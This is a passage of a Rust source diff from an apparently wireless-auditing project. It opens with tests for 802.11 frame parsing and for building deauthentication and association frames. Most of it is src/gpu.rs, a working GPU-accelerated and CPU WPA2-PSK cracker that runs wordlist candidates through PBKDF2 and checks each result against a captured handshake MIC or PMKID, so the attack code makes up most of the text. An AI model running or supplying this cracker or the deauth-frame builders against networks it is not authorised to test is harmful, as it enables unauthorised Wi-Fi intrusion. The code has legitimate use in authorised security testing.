assert_eq!(parse_beacon_or_probe(&hdr_fixed).unwrap().security, Security::Wpa); + + // WEP: privacy bit only + let mut f = parafin_beacon(); + f.truncate(36); + f.extend_from_slice(&ie(IE_SSID, b"oldnet")); + assert_eq!(parse_beacon_or_probe(&f).unwrap().security, Security::Wep); + + // Open: clear privacy bit + f[34] = 0x01; + f[35] = 0x04; + assert_eq!(parse_beacon_or_probe(&f).unwrap().security, Security::Open); + } + + #[test] + fn hidden_ssid_and_truncated_safe() { + let mut f = parafin_beacon(); + // zero-length SSID IE → None (hidden) + let ssid_at = 36; + f.drain(ssid_at..ssid_at + 2 + 7); + f.splice(ssid_at..ssid_at, vec![IE_SSID, 0]); + let info = parse_beacon_or_probe(&f).unwrap(); + assert_eq!(info.ssid, None); + assert_eq!(info.channel, Some(6)); + // truncation inside an IE: no panic, best-effort parse + for cut in 0..f.len() { + let _ = parse_beacon_or_probe(&f[..cut]); + let _ = parse_probe_req(&f[..cut]); + let _ = parse_deauth(&f[..cut]); + let _ = data_endpoints(&f[..cut]); + let _ = parse_eapol(&f[..cut]); + let _ = parse_eapol_key(&f[..cut]); + } + } + + #[test] + fn build_parse_deauth_roundtrip() { + let f = build_deauth(&AP, &STA, 7); + assert_eq!(f[0], 0xC0); + assert_eq!(u16le(&f, 2), Some(314)); + assert_eq!(parse_deauth(&f), Some((AP, STA))); + assert_eq!(u16le(&f, 24), Some(7)); // reason + + let d = build_disassoc(&AP, &STA, 8); + assert_eq!(d[0], 0xA0); + assert_eq!(parse_deauth(&d), Some((AP, STA))); + } + + #[test] + fn build_auth_and_assoc() { + let a = build_auth_open(&AP, &STA, 42); + assert_eq!(a[0], 0xB0); + assert_eq!(u16le(&a, 2), Some(314)); + assert_eq!(mac_at(&a, 16), Some(AP)); // addr3 bssid = ap + assert_eq!(u16le(&a, 24), Some(0)); // open system + assert_eq!(u16le(&a, 26), Some(1)); // transaction 1 + assert_eq!(u16le(&a, 22), Some(42 << 4)); // seq number encoded + + let r = build_assoc_req(&AP, &STA, b"parafin"); + assert_eq!(r[0], 0x00); + assert_eq!(r[28], IE_SSID); + assert_eq!(r[29], 7); + assert_eq!(&r[30..], b"parafin"); + } + + #[test] + fn probe_req_parsed() { + let mut f = hdr3(0x40, &MacAddr::BROADCAST, &STA, &MacAddr::BROADCAST, 0); + f.extend_from_slice(&ie(IE_SSID, b"parafin")); + let (sta, ssid) = parse_probe_req(&f).unwrap(); + assert_eq!(sta, STA); + assert_eq!(ssid.as_deref(), Some("parafin")); + + // broadcast probe: zero-len SSID → None + let mut b = hdr3(0x40, &MacAddr::BROADCAST, &STA, &MacAddr::BROADCAST, 0); + b.extend_from_slice(&ie(IE_SSID, b"")); + assert_eq!(parse_probe_req(&b), Some((STA, None))); + + // beacon is not a probe request + assert!(parse_probe_req(¶fin_beacon()).is_none()); + } + + /// Minimal EAPOL-Key frame with the given key_info (BE), filled otherwise. + fn eapol_key(key_info: u16) -> Vec { + let mut v = vec![2u8, 3, 0, 95]; // version 2, type KEY, body len + v.push(2); // descriptor type: RSN + v.extend_from_slice(&key_info.to_be_bytes()); + v.extend_from_slice(&[0; 16 + 8 - 2 - 2 - 1]); // key_len..replay start pad + v.truncate(9); + v.extend_from_slice(&1u64.to_be_bytes()); // replay counter + v.extend_from_slice(&[0x11; 32]); // nonce + v.extend_from_slice(&[0; 16 + 8 + 8]); // iv + rsc + id + v.extend_from_slice(&[0x22; 16]); // mic + v.extend_from_slice(&[0, 0]); // key_data_len + v + } + + #[test] + fn eapol_key_fields_extracted() { + let ki: u16 = 2 | (1 << 7); // version 2 + ack + let e = eapol_key(ki); + let k = parse_eapol_key(&e).unwrap(); + assert_eq!(k.key_info, ki); + assert_eq!(k.key_ver, 2); + assert!(k.key_ack); + assert!(!k.key_mic); + assert_eq!(k.replay_counter, 1); + assert_eq!(k.nonce, [0x11; 32]); + assert_eq!(k.mic, [0x22; 16]); + assert_eq!(k.key_data.len(), 0); + assert_eq!(k.raw, &e[..]); + } + + #[test] + fn four_way_flag_matrix() { + const VER2: u16 = 2; + const INSTALL: u16 = 1 << 6; + const ACK: u16 = 1 << 7; + const MIC: u16 = 1 << 8; + const SECURE: u16 = 1 << 9; + + let msg = |ki: u16| { + let e = eapol_key(ki); + let k = parse_eapol_key(&e).unwrap(); + eapol_4way_msg(&k) + }; + assert_eq!(msg(VER2 | ACK), 1); + assert_eq!(msg(VER2 | MIC), 2); + assert_eq!(msg(VER2 | ACK | MIC | INSTALL | SECURE), 3); + assert_eq!(msg(VER2 | MIC | SECURE), 4); + // not a key frame flag combo → 0 + assert_eq!(msg(VER2), 0); + } + + #[test] + fn data_frames_and_eapol_detection() { + // AP → STA data frame (from_ds) carrying EAPOL + let mut f = vec![0x08, 0x02]; + f.extend_from_slice(&[0; 2]); // duration + f.extend_from_slice(&STA.0); // addr1 + f.extend_from_slice(&AP.0); // addr2 + f.extend_from_slice(&STA.0); // addr3 (DA) + f.extend_from_slice(&[0; 2]); // seq + f.extend_from_slice(&SNAP_EAPOL); + f.extend_from_slice(&eapol_key(2 | (1 << 7))); // M1 + + assert_eq!(data_endpoints(&f), Some((AP, STA))); + let (bssid, ap_sender, eap) = parse_eapol(&f).unwrap(); + assert_eq!(bssid, AP); + assert!(ap_sender); + assert_eq!(eapol_4way_msg(&parse_eapol_key(eap).unwrap()), 1); + + // QoS data subtype: skip 2 extra header bytes + let mut q = f.clone(); + q[0] = 0x88; + q.splice(24..24, [0x00, 0x00]); + let (bssid, ap_sender, eap) = parse_eapol(&q).unwrap(); + assert_eq!((bssid, ap_sender), (AP, true)); + assert_eq!(eapol_4way_msg(&parse_eapol_key(eap).unwrap()), 1); + + // STA → AP (to_ds): bssid = addr1 + let mut up = vec![0x08, 0x01]; + up.extend_from_slice(&[0; 2]); + up.extend_from_slice(&AP.0); // addr1 = bssid + up.extend_from_slice(&STA.0); // addr2 = sta + up.extend_from_slice(&STA.0); // addr3 = DA + up.extend_from_slice(&[0; 2]); + up.extend_from_slice(&SNAP_EAPOL); + up.extend_from_slice(&eapol_key(2 | (1 << 8))); // M2 + assert_eq!(data_endpoints(&up), Some((AP, STA))); + let (bssid, ap_sender, eap) = parse_eapol(&up).unwrap(); + assert_eq!((bssid, ap_sender), (AP, false)); + assert_eq!(eapol_4way_msg(&parse_eapol_key(eap).unwrap()), 2); + + // WDS: addr4 present, payload shifted + let mut wds = vec![0x08, 0x03]; + wds.extend_from_slice(&[0; 2]); + wds.extend_from_slice(&AP.0); // addr1 RA + wds.extend_from_slice(&AP.0); // addr2 TA + wds.extend_from_slice(&STA.0); // addr3 DA + wds.extend_from_slice(&[0; 2]); + wds.extend_from_slice(&STA.0); // addr4 SA + wds.extend_from_slice(&SNAP_EAPOL); + wds.extend_from_slice(&eapol_key(2 | (1 << 7))); + assert_eq!(data_endpoints(&wds), Some((AP, STA))); + assert!(parse_eapol(&wds).is_some()); + + // management frame → not data + assert!(parse_eapol(¶fin_beacon()).is_none()); + } +} diff --git a/src/gpu.rs b/src/gpu.rs index e69de29..3253048 100644 --- a/src/gpu.rs +++ b/src/gpu.rs @@ -0,0 +1,887 @@ +//! GPU-accelerated WPA2-PSK cracker (wgpu compute, see pbkdf2.wgsl) plus a +//! CPU streaming cracker of the same shape. +//! +//! Algorithm: the host computes per candidate the SHA1 midstates for the two +//! HMAC pad prefixes (key = passphrase, salt = ESSID absorbed in the ipad +//! leg) and the first PBKDF2 outputs U1/U2 for both 20-byte blocks. The GPU +//! then executes the remaining 4095 chained HMAC rounds per block and emits +//! T1||T2 (40 bytes): PMK = T1 || T2[0..12]. PTK + MIC are derived per PMK on +//! the host — that is cheap relative to the 4096 HMACs it replaces. For +//! key_ver 3 targets the MIC is AES-CMAC (bus duty: PTK+KCK never leave the +//! host side of the reference implementation). + +use std::num::NonZeroU64; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::time::{Duration, Instant}; + +/// Pack the first 64 message bytes into the 16 FIPS SHA1 message words +/// (big-endian parse, per FIPS 180-1). +fn pack16(bytes: &[u8]) -> [u32; 16] { + debug_assert!(bytes.len() >= 64); + let mut out = [0u32; 16]; + for (i, w) in out.iter_mut().enumerate() { + *w = u32::from_be_bytes([bytes[4 * i], bytes[4 * i + 1], bytes[4 * i + 2], bytes[4 * i + 3]]); + } + out +} + +use crate::crypto::{self, CrackTarget}; +#[cfg(test)] +use crate::common::MacAddr; + +const BATCH: u32 = 1 << 16; +const WORKGROUP_SIZE: u32 = 64; +const ITERATIONS: u32 = 4096; +const U32_PER_CAND_IN: usize = 20; // ipad(5) opad(5) u1(5) u2(5) +const U32_PER_CAND_OUT: usize = 10; // T1(5) T2(5) + +const K: [u32; 4] = [0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xca62c1d6]; +const IV: [u32; 5] = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0]; + +// --------------------------------------------------------------------------- +// Host-side SHA1 midstate helpers (mirror of the WGSL kernel). +// --------------------------------------------------------------------------- + +/// One FIPS 180-1 SHA1 compression over exactly one 64-byte block, starting +/// from a 5×u32 state. `block` holds the message words BE-parsed as the +/// standard requires; states and the running chain stay in value domain +/// end-to-end (this is also the WGSL kernel's domain). +fn compress5(state: &mut [u32; 5], block: &[u32; 16]) { + let mut w = [0u32; 80]; + w[..16].copy_from_slice(block); + for t in 16..80 { + let x = w[t - 3] ^ w[t - 8] ^ w[t - 14] ^ w[t - 16]; + w[t] = x.rotate_left(1); + } + let (mut a, mut b, mut c, mut d, mut e) = (state[0], state[1], state[2], state[3], state[4]); + for (t, &wt) in w.iter().enumerate() { + let f = match t { + 0..=19 => (b & c) | (!b & d), + 20..=39 | 60..=79 => b ^ c ^ d, + _ => (b & c) | (b & d) | (c & d), + }; + let k = K[t / 20]; + let temp = a + .rotate_left(5) + .wrapping_add(f) + .wrapping_add(e) + .wrapping_add(k) + .wrapping_add(wt); + e = d; + d = c; + c = b.rotate_left(30); + b = a; + a = temp; + } + state[0] = state[0].wrapping_add(a); + state[1] = state[1].wrapping_add(b); + state[2] = state[2].wrapping_add(c); + state[3] = state[3].wrapping_add(d); + state[4] = state[4].wrapping_add(e); +} + +/// Finalize a two-block SHA1 message given the state after block 1: place +/// the tail, append padding/bit-length for the total (64 + tail.len()) byte +/// message, compress once. Returns the 5-word state (the FIPS digest words). +fn finalize_64(state_after_b1: &[u32; 5], tail: &[u8]) -> [u32; 5] { + debug_assert!(tail.len() < 56); + let total_len = (64 + tail.len()) as u64; + let mut blk = [0u8; 64]; + blk[..tail.len()].copy_from_slice(tail); + blk[tail.len()] = 0x80; + blk[56..64].copy_from_slice(&(total_len * 8).to_be_bytes()); + let mut st = *state_after_b1; + compress5(&mut st, &pack16(&blk)); + st +} + +/// First PBKDF2 block digest for a candidate: U_idx = HMAC(P, salt || +/// INT32BE(idx)), using precomputed pad midstates. Inner leg message is +/// (P^ipad) || salt || BE32(idx) (64 + salt.len() + 4 bytes), outer leg is +/// (P^opad) || inner_digest (84 bytes, 672 bits). +fn hmac_first(ipad: &[u32; 5], opad: &[u32; 5], salt: &[u8], block_idx: u32) -> [u32; 5] { + let mut tail = [0u8; 68]; + tail[..salt.len()].copy_from_slice(salt); + tail[salt.len()..salt.len() + 4].copy_from_slice(&block_idx.to_be_bytes()); + let inner = finalize_64(ipad, &tail[..salt.len() + 4]); + + let mut outer_blk = [0u32; 16]; + outer_blk[..5].copy_from_slice(&inner); + outer_blk[5] = 0x8000_0000; + outer_blk[15] = 672; + let mut st = *opad; + compress5(&mut st, &outer_blk); + st +} + +/// Mirror of the WGSL `hmac_mid`: one chained HMAC round (two compresses) +/// over the 20-byte value `u` given the pad midstates. +fn hmac_midstate_host(ipad: &[u32; 5], opad: &[u32; 5], u: &[u32; 5]) -> [u32; 5] { + let mut msg = [0u32; 16]; + msg[..5].copy_from_slice(u); + msg[5] = 0x8000_0000; + msg[15] = 672; + + let mut st = *ipad; + compress5(&mut st, &msg); + + let mut outer = [0u32; 16]; + outer[..5].copy_from_slice(&st); + outer[5] = 0x8000_0000; + outer[15] = 672; + + let mut st2 = *opad; + compress5(&mut st2, &outer); + st2 +} + +/// Per-candidate kernel inputs for one passphrase. +fn candidate_inputs(pass: &[u8], salt: &[u8]) -> [u32; U32_PER_CAND_IN] { + debug_assert!((8..=63).contains(&pass.len())); + + let mut ipad_blk = [0x36u8; 64]; + let mut opad_blk = [0x5cu8; 64]; + for (i, &b) in pass.iter().enumerate() { + ipad_blk[i] ^= b; + opad_blk[i] ^= b; + } + + let mut ipad = IV; + let mut opad = IV; + compress5(&mut ipad, &pack16(&ipad_blk)); + compress5(&mut opad, &pack16(&opad_blk)); + + // U_i = HMAC(P, salt || INT32BE(i)): inner leg via the ipad midstate, + // outer leg one compress over the opad midstate (also 84-byte total + // message → bit length 672, same layout as the chained rounds). + let u1 = hmac_first(&ipad, &opad, salt, 1); + let u2 = hmac_first(&ipad, &opad, salt, 2); + + let mut out = [0u32; U32_PER_CAND_IN]; + out[..5].copy_from_slice(&ipad); + out[5..10].copy_from_slice(&opad); + out[10..15].copy_from_slice(&u1); + out[15..20].copy_from_slice(&u2); + out +} + +/// Finish the two PBKDF2 blocks for one candidate entirely on the CPU +/// (reference + fallback path). +fn pmk_via_midstates(inputs: &[u32; U32_PER_CAND_IN]) -> [u8; 32] { + let mut ipad = [0u32; 5]; + let mut opad = [0u32; 5]; + let mut u1 = [0u32; 5]; + let mut u2 = [0u32; 5]; + ipad.copy_from_slice(&inputs[..5]); + opad.copy_from_slice(&inputs[5..10]); + u1.copy_from_slice(&inputs[10..15]); + u2.copy_from_slice(&inputs[15..20]); + + let mut t1 = u1; + let mut t2 = u2; + for _ in 1..ITERATIONS { + u1 = hmac_midstate_host(&ipad, &opad, &u1); + for i in 0..5 { + t1[i] ^= u1[i]; + } + u2 = hmac_midstate_host(&ipad, &opad, &u2); + for i in 0..5 { + t2[i] ^= u2[i]; + } + } + + let mut pmk_bytes = [0u8; 32]; + for i in 0..5 { + pmk_bytes[i * 4..i * 4 + 4].copy_from_slice(&t1[i].to_be_bytes()); + } + for i in 0..3 { + pmk_bytes[20 + i * 4..20 + i * 4 + 4].copy_from_slice(&t2[i].to_be_bytes()); + } + pmk_bytes +} + +// --------------------------------------------------------------------------- +// GPU cracker +// --------------------------------------------------------------------------- + +pub struct GpuCracker { + device: wgpu::Device, + queue: wgpu::Queue, + pipeline: wgpu::ComputePipeline, + layout: wgpu::BindGroupLayout, + name: String, + batch: u32, +} + +impl GpuCracker { + /// None when no suitable adapter/device exists (caller falls back to the + /// CPU cracker). + pub fn try_new() -> Option { + let instance = + wgpu::Instance::new(wgpu::InstanceDescriptor::new_without_display_handle()); + let adapter = pollster::block_on(instance.request_adapter(&wgpu::RequestAdapterOptions { + power_preference: wgpu::PowerPreference::HighPerformance, + force_fallback_adapter: false, + compatible_surface: None, + apply_limit_buckets: false, + })) + .ok()?; + let info = adapter.get_info(); + let limits = adapter.limits(); + // Need storage buffers of BATCH × 80 B in and BATCH × 40 B out. + let in_bytes = u64::from(BATCH) * (U32_PER_CAND_IN as u64) * 4; + let out_bytes = u64::from(BATCH) * (U32_PER_CAND_OUT as u64) * 4; + if u64::from(limits.max_storage_buffer_binding_size) < in_bytes + || u64::from(limits.max_storage_buffer_binding_size) < out_bytes + || limits.max_buffer_size < in_bytes.max(out_bytes) + { + return None; + } + + let desc = wgpu::DeviceDescriptor { + label: Some("wifilab-pbkdf2"), + required_features: wgpu::Features::empty(), + required_limits: wgpu::Limits::default(), + experimental_features: wgpu::ExperimentalFeatures::disabled(), + memory_hints: wgpu::MemoryHints::Performance, + trace: wgpu::Trace::Off, + }; + let (device, queue) = pollster::block_on(adapter.request_device(&desc)).ok()?; + + let shader = device.create_shader_module(wgpu::ShaderModuleDescriptor { + label: Some("pbkdf2.wgsl"), + source: wgpu::ShaderSource::Wgsl(include_str!("pbkdf2.wgsl").into()), + }); + + let layout = device.create_bind_group_layout(&wgpu::BindGroupLayoutDescriptor { + label: Some("pbkdf2-layout"), + entries: &[ + // params uniform + wgpu::BindGroupLayoutEntry { + binding: 0, + visibility: wgpu::ShaderStages::COMPUTE, + ty: wgpu::BindingType::Buffer { + ty: wgpu::BufferBindingType::Uniform, + has_dynamic_offset: false, + min_binding_size: NonZeroU64::new(16), + }, + count: None, + }, + // midstates in + wgpu::BindGroupLayoutEntry { + binding: 1, + visibility: wgpu::ShaderStages::COMPUTE, + ty: wgpu::BindingType::Buffer { + ty: wgpu::BufferBindingType::Storage { read_only: true }, + has_dynamic_offset: false, + min_binding_size: None, + }, + count: None, + }, + // outputs out + wgpu::BindGroupLayoutEntry { + binding: 2, + visibility: wgpu::ShaderStages::COMPUTE, + ty: wgpu::BindingType::Buffer { + ty: wgpu::BufferBindingType::Storage { read_only: false }, + has_dynamic_offset: false, + min_binding_size: None, + }, + count: None, + }, + ], + }); + + let pipeline_layout = device.create_pipeline_layout(&wgpu::PipelineLayoutDescriptor { + label: Some("pbkdf2-pipeline-layout"), + bind_group_layouts: &[Some(&layout)], + immediate_size: 0, + }); + + let pipeline = device.create_compute_pipeline(&wgpu::ComputePipelineDescriptor { + label: Some("pbkdf2-pipeline"), + layout: Some(&pipeline_layout), + module: &shader, + entry_point: Some("main"), + compilation_options: wgpu::PipelineCompilationOptions::default(), + cache: None, + }); + + Some(GpuCracker { + device, + queue, + pipeline, + layout, + name: format!("{} ({:?})", info.name, info.backend), + batch: BATCH, + }) + } + + pub fn device_name(&self) -> String { + self.name.clone() + } + + /// Measured full-attack throughput for progress reporting (4096-iteration + /// batches). Runs 4 batches through `pmk_batch_gpu` and returns H/s. + #[cfg(test)] + fn measured_hps(&self) -> Option { + let pass: Vec = b"benchmk1".to_vec(); + let salt = b"benchmark-ssid"; + let mut inputs = Vec::with_capacity(self.batch as usize * U32_PER_CAND_IN); + for i in 0..self.batch as usize { + let mut w = pass.clone(); + w[0] = b'a' + (i % 26) as u8; + inputs.extend_from_slice(&candidate_inputs(&w, salt)); + } + // Warm-up batch: covers one-time SPIR-V->ISA compile & memory init. + self.run_kernel(&inputs)?; + const BATCHES: u32 = 8; + let t0 = Instant::now(); + let mut ok = true; + for _ in 0..BATCHES { + let mut inp = inputs.clone(); + inp[0] = inp[0].wrapping_add(1); + ok &= self.run_kernel(&inp).is_some(); + } + if !ok { + return None; + } + let secs = t0.elapsed().as_secs_f64(); + Some(self.batch as f64 * f64::from(BATCHES) / secs) + } + + /// Run one kernel batch over `inputs` (n×20 u32, on the wire as u32 LE). + /// Returns the n×10 u32 output words, or None on device-lost/hang. + fn run_kernel(&self, inputs: &[u32]) -> Option> { + let n = inputs.len() / U32_PER_CAND_IN; + if n == 0 { + return Some(Vec::new()); + } + + let in_bytes = (inputs.len() * 4) as u64; + let out_u32 = n * U32_PER_CAND_OUT; + let out_bytes = (out_u32 * 4) as u64; + + let in_buf = self.device.create_buffer(&wgpu::BufferDescriptor { + label: Some("midstates"), + size: in_bytes.max(16), + usage: wgpu::BufferUsages::STORAGE | wgpu::BufferUsages::COPY_DST, + mapped_at_creation: false, + }); + let out_buf = self.device.create_buffer(&wgpu::BufferDescriptor { + label: Some("t1t2"), + size: out_bytes.max(16), + usage: wgpu::BufferUsages::STORAGE | wgpu::BufferUsages::COPY_SRC, + mapped_at_creation: false, + }); + let read_buf = self.device.create_buffer(&wgpu::BufferDescriptor { + label: Some("readback"), + size: out_bytes.max(16), + usage: wgpu::BufferUsages::MAP_READ | wgpu::BufferUsages::COPY_DST, + mapped_at_creation: false, + }); + let param_buf = self.device.create_buffer(&wgpu::BufferDescriptor { + label: Some("params"), + size: 16, + usage: wgpu::BufferUsages::UNIFORM | wgpu::BufferUsages::COPY_DST, + mapped_at_creation: false, + }); + + let flags: u32 = ITERATIONS << 1; + let params: [u32; 4] = [flags, 0, 0, 0]; + self.queue + .write_buffer(¶m_buf, 0, &u32s_as_bytes(¶ms)); + let in_bytes_vec = u32s_as_bytes(inputs); + self.queue.write_buffer(&in_buf, 0, &in_bytes_vec); + + let bind_group = self.device.create_bind_group(&wgpu::BindGroupDescriptor { + label: Some("pbkdf2-bg"), + layout: &self.layout, + entries: &[ + wgpu::BindGroupEntry { + binding: 0, + resource: param_buf.as_entire_binding(), + }, + wgpu::BindGroupEntry { + binding: 1, + resource: in_buf.as_entire_binding(), + }, + wgpu::BindGroupEntry { + binding: 2, + resource: out_buf.as_entire_binding(), + }, + ], + }); + + let mut encoder = self + .device + .create_command_encoder(&wgpu::CommandEncoderDescriptor { + label: Some("pbkdf2-encoder"), + }); + { + let mut pass = encoder.begin_compute_pass(&wgpu::ComputePassDescriptor { + label: Some("pbkdf2-pass"), + timestamp_writes: None, + }); + pass.set_pipeline(&self.pipeline); + pass.set_bind_group(0, &bind_group, &[]); + pass.dispatch_workgroups(n.div_ceil(WORKGROUP_SIZE as usize) as u32, 1, 1); + } + encoder.copy_buffer_to_buffer(&out_buf, 0, &read_buf, 0, out_bytes); + let sub = self.queue.submit([encoder.finish()]); + + // Wait for the shader with timeout; a hung/compute-heavy dispatch is + // reported so the caller can halve the batch. + let (tx, rx) = std::sync::mpsc::channel(); + read_buf + .slice(..) + .map_async(wgpu::MapMode::Read, move |res| { + let _ = tx.send(res); + }); + + let mut waited = Duration::ZERO; + let step = Duration::from_millis(50); + let limit = Duration::from_secs(30); + loop { + match self.device.poll(wgpu::PollType::Wait { + submission_index: Some(sub.clone()), + timeout: Some(step), + }) { + Ok(_) | Err(wgpu::PollError::Timeout) => { + if let Ok(res) = rx.try_recv() { + match res { + Ok(()) => break, + Err(e) => { + tracing::warn!("map_async failed: {e}"); + read_buf.unmap(); + return None; + } + } + } + waited += step; + if waited >= limit { + tracing::warn!("gpu dispatch timed out after {limit:?}"); + return None; + } + } + Err(e) => { + tracing::warn!("device poll error: {e}"); + return None; + } + } + } + + let view = read_buf.slice(..).get_mapped_range().ok()?; + let mut out = Vec::with_capacity(out_u32); + for chunk in view[..(out_u32 * 4)].chunks_exact(4) { + out.push(u32::from_le_bytes([chunk[0], chunk[1], chunk[2], chunk[3]])); + } + drop(view); + read_buf.unmap(); + Some(out) + } + + /// Compute PMKs for a word batch. Halves the batch size once on + /// device-lost/timeout; on a repeated failure returns None. + fn pmk_batch_gpu(&self, words: &[Vec], salt: &[u8]) -> Option> { + let mut cur: Vec> = words.to_vec(); + let mut attempts = 0u8; + loop { + let mut inputs = Vec::with_capacity(cur.len() * U32_PER_CAND_IN); + for w in &cur { + inputs.extend_from_slice(&candidate_inputs(w, salt)); + } + if let Some(out) = self.run_kernel(&inputs) { + return Some(assemble_pmks(&out)); + } + attempts += 1; + if attempts > 1 || cur.len() == 1 { + return None; + } + let half = cur.len().div_ceil(2); + cur = cur[..half].to_vec(); + } + } + + /// Stream `words` through the GPU, calling `progress(done, hps)` once per + /// dispatched batch (also when a partial final batch ran). Honors `stop` + /// between batches. Returns the passphrase on MIC match. + pub fn crack( + &self, + target: &CrackTarget, + words: &mut dyn Iterator>, + progress: &mut dyn FnMut(u64, f64), + stop: &Arc, + ) -> Option { + if matches!(target, CrackTarget::Handshake(h) if h.eapol_m2.len() < 99) { + return None; + } + let salt = target.essid().as_bytes(); + let mut done = 0u64; + let started = Instant::now(); + let mut batch_cap = self.batch as usize; + + loop { + if stop.load(Ordering::Relaxed) { + return None; + } + let mut batch: Vec> = Vec::with_capacity(batch_cap); + while batch.len() < batch_cap { + match words.next() { + Some(w) => batch.push(w), + None => break, + } + } + if batch.is_empty() { + return None; + } + + let pmks = self.pmk_batch_gpu(&batch, salt)?; + // If the PMK batch shrunk because of a device hiccup the tail + // candidates are re-attempted below; keep bookkeeping accurate by + // scanning only what came back and re-queueing the rest. + let checked = pmks.len(); + for (i, k) in pmks.iter().enumerate() { + done += 1; + if target_matches(target, k) { + return String::from_utf8(batch[i].clone()).ok(); + } + } + let secs = started.elapsed().as_secs_f64().max(1e-6); + progress(done, done as f64 / secs); + + if checked < batch.len() { + // Device hiccup path: retry the remaining words in smaller + // chunks before continuing the stream. + let rest = batch[checked..].to_vec(); + for chunk in rest.chunks(batch_cap.div_ceil(2).max(1)) { + if stop.load(Ordering::Relaxed) { + return None; + } + let pmks = self.pmk_batch_gpu(chunk, salt)?; + for (i, k) in pmks.iter().enumerate() { + done += 1; + if target_matches(target, k) { + return String::from_utf8(chunk[i].clone()).ok(); + } + } + let secs = started.elapsed().as_secs_f64().max(1e-6); + progress(done, done as f64 / secs); + } + batch_cap = batch_cap.div_ceil(2).max(1024); + } + } + } +} + +/// Little-endian byte serialization of a u32 slice for queue.write_buffer. +/// The kernel reads raw u32s; on this CPU (x86-64, LE) this matches memory +/// layout, and serializing keeps the wire format explicit for any host. +fn u32s_as_bytes(v: &[u32]) -> Vec { + let mut out = Vec::with_capacity(v.len() * 4); + for &w in v { + out.extend_from_slice(&w.to_le_bytes()); + } + out +} + +fn assemble_pmks(out: &[u32]) -> Vec<[u8; 32]> { + let n = out.len() / U32_PER_CAND_OUT; + let mut pmks = Vec::with_capacity(n); + for c in 0..n { + let mut pmk = [0u8; 32]; + let row = &out[c * U32_PER_CAND_OUT..(c + 1) * U32_PER_CAND_OUT]; + for i in 0..8 { + pmk[i * 4..i * 4 + 4].copy_from_slice(&row[i].to_be_bytes()); + } + pmks.push(pmk); + } + pmks +} + +/// MIC/PMKID check of one PMK against the target. +fn target_matches(target: &CrackTarget, k: &[u8; 32]) -> bool { + match target { + CrackTarget::Handshake(h) => { + let dk = crypto::ptk(k, &h.ap, &h.client, &h.anonce, &h.snonce); + let m = crypto::mic(&dk, &h.eapol_m2, h.key_ver); + crypto::ct_eq16(&m, h.mic()) + } + CrackTarget::Pmkid(p) => { + let dig = crypto::pmkid_hash(k, &p.ap, &p.client); + crypto::ct_eq16(&dig, &p.pmkid) + } + } +} + +// --------------------------------------------------------------------------- +// CPU cracker (reference-fallback path) +// --------------------------------------------------------------------------- + +/// Streaming CPU cracker with the same contract as `GpuCracker::crack`. +pub fn cpu_crack( + target: &CrackTarget, + words: &mut dyn Iterator>, + progress: &mut dyn FnMut(u64, f64), + stop: &Arc, +) -> Option { + if matches!(target, CrackTarget::Handshake(h) if h.eapol_m2.len() < 99) { + return None; + } + let salt = target.essid().as_bytes(); + let mut done = 0u64; + let started = Instant::now(); + const CPU_BATCH: usize = 512; + + loop { + if stop.load(Ordering::Relaxed) { + return None; + } + let mut batch: Vec> = Vec::with_capacity(CPU_BATCH); + while batch.len() < CPU_BATCH { + match words.next() { + Some(w) => batch.push(w), + None => break, + } + } + if batch.is_empty() { + return None; + } + for w in &batch { + done += 1; + let key = crypto::pmk(w, salt); + if target_matches(target, &key) { + return String::from_utf8(w.clone()).ok(); + } + } + let secs = started.elapsed().as_secs_f64().max(1e-6); + progress(done, done as f64 / secs); + } +} + +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + use crate::crypto; + + fn build_eapol_m2(key_ver: u8, snonce: &[u8; 32], replay: u64) -> Vec { + let mut f = Vec::with_capacity(99); + f.push(0x02); + f.push(0x03); + f.extend_from_slice(&95u16.to_be_bytes()); + f.push(0x02); + let info: u16 = 0x0100 | 0x0080 | (key_ver as u16 & 0x7); + f.extend_from_slice(&info.to_be_bytes()); + f.extend_from_slice(&16u16.to_be_bytes()); + f.extend_from_slice(&replay.to_be_bytes()); + f.extend_from_slice(snonce); + f.extend_from_slice(&[0u8; 16]); + f.extend_from_slice(&[0u8; 8]); + f.extend_from_slice(&[0u8; 8]); + f.extend_from_slice(&[0u8; 16]); + f.extend_from_slice(&0u16.to_be_bytes()); + f + } + + fn synthetic_target(ssid: &str, pass: &[u8], key_ver: u8) -> CrackTarget { + let ap = "aa:bb:cc:dd:ee:ff".parse::().unwrap(); + let sta = "11:22:33:44:55:66".parse::().unwrap(); + let anonce: [u8; 32] = [0x5a; 32]; + let snonce: [u8; 32] = [0xc3; 32]; + let key = crypto::pmk(pass, ssid.as_bytes()); + let dk = crypto::ptk(&key, &ap, &sta, &anonce, &snonce); + let frame = build_eapol_m2(key_ver, &snonce, 1); + let m = crypto::mic(&dk, &frame, key_ver); + CrackTarget::Handshake(crate::common::HandshakeCapture::new( + ap, + sta, + ssid.to_string(), + anonce, + snonce, + m, + frame, + key_ver, + )) + } + + #[test] + fn host_midstate_matches_pbkdf2() { + // candidate_inputs + pmk_via_midstates must equal crypto's + // PBKDF2-HMAC-SHA1 (itself pinned to RFC 6070 + the IEEE wpa vector + // in crypto::tests) for arbitrary passphrases and salts. + for pass in [&b"password1"[..], b"sup3r-secret", &vec![b'x'; 63][..], b"87654321"] { + for ssid in [&b"IEEE"[..], b"parafin", b"", b"long-ssid-0123456789"] { + let inputs = candidate_inputs(pass, ssid); + let got = pmk_via_midstates(&inputs); + let mut dk = [0u8; 40]; + crypto::pbkdf2_hmac_sha1(pass, ssid, 4096, &mut dk); + assert_eq!(&got[..], &dk[..32], "pass={pass:?} ssid={ssid:?}"); + } + } + } + + #[test] + fn gpu_available_and_pmk_matches() { + let Some(crk) = GpuCracker::try_new() else { + eprintln!("no GPU adapter, skipping"); + return; + }; + let salt = b"parafin"; + let words: Vec> = (0..16) + .map(|i| format!("cand{:06}", i).into_bytes()) + .collect(); + let mut inputs = Vec::new(); + for w in &words { + inputs.extend_from_slice(&candidate_inputs(w, salt)); + } + let out = crk.run_kernel(&inputs).expect("kernel must complete"); + let pmks = assemble_pmks(&out); + for (w, k) in words.iter().zip(pmks.iter()) { + let mut dk = [0u8; 40]; + crypto::pbkdf2_hmac_sha1(w, salt, 4096, &mut dk); + assert_eq!(&k[..], &dk[..32], "GPU PMK mismatch for {w:?}"); + // Also bit-exact vs the RFC-anchored crypto::pmk. + 